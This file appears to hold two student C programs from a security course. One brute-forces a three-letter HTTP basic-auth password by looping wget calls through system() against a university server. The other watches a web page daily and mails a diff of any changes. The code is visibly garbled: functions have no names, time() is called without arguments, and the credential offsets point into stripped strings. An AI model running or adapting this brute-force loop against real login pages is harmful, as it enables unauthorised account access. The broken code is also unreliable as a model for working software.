# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <sys/time.h>
# include <strings.h>

int ()
{

		
	char* check = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";		
	char s[100];
	char charcopy[200];
	
	FILE* f;					
		
	int i,j,k;

	int starting,ending;							
	
	int totaltime;
	
	starting=time();								

	for (i=0;i<strlen(check);i++)
	{
		for(j=0;j<strlen(check);j++)						
		{
			for(k=0;k<strlen(check);k++)
			{
				strcpy(charcopy,"wget --http-user= --http-passwd=    -nv -o logfile http://sec-crack.cs.rmit.edu./SEC/2/");
				
				
				
				
				charcopy[40]=check[i];              			
				charcopy[41]=check[j];					
				charcopy[42]=check[k];
												
				system(charcopy);	
				printf("%c %c %c\n",check[i],check[j],check[k]);
				printf("%s\n",charcopy);
				
				f = fopen("logfile","r");				
				
				if(f != (FILE*) NULL)
				{
					fgets(s,30,f);					
					printf("%s\n",s);
					if(strcmp(s,"Authorization failed.\n")!=0)
					{
						ending=time();	
						totaltime=ending-starting;
						totaltime=totaltime/1000000000;		
						totaltime=totaltime/60;
	
						printf("Total time_var taken  break the Password is %lld minutes\n", totaltime);
						exit(0);
					}
				}
				
				fclose(f);						
			}
		}
	} 
	
	
	return 1;
}

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>



void emptyFile(char* name)
{
	FILE* myFile;
	myFile = fopen(name,"w");
	fclose(myFile);
}

int (void)
{
	FILE* myFile;
	char* myString;
	
	myString = malloc(sizeof(char ) * 100);

	
	
	emptyFile(".old.html");
	emptyFile(".new.html");

	
	system("wget -O .old.html -q http://www.cs.rmit.edu./students/");

	while(1)
	{
		
		emptyFile(".new.html");

		
		system("wget -O .new.html -q http://www.cs.rmit.edu./students/");
		
		
		system("diff .old.html .new.html > watch.txt");

		myFile = fopen("watch.txt","r");
		if(myFile != (FILE*) NULL)
		{
			fgets(myString,100,myFile);
			if(strlen(myString) > 0)
			{
				
				
				system("mail @cs.rmit.edu. < watch.txt");
				
				system("cp .new.html .old.html");
			}
		}
		
		sleep(60*60*24);
	}
	
	return 1;
}


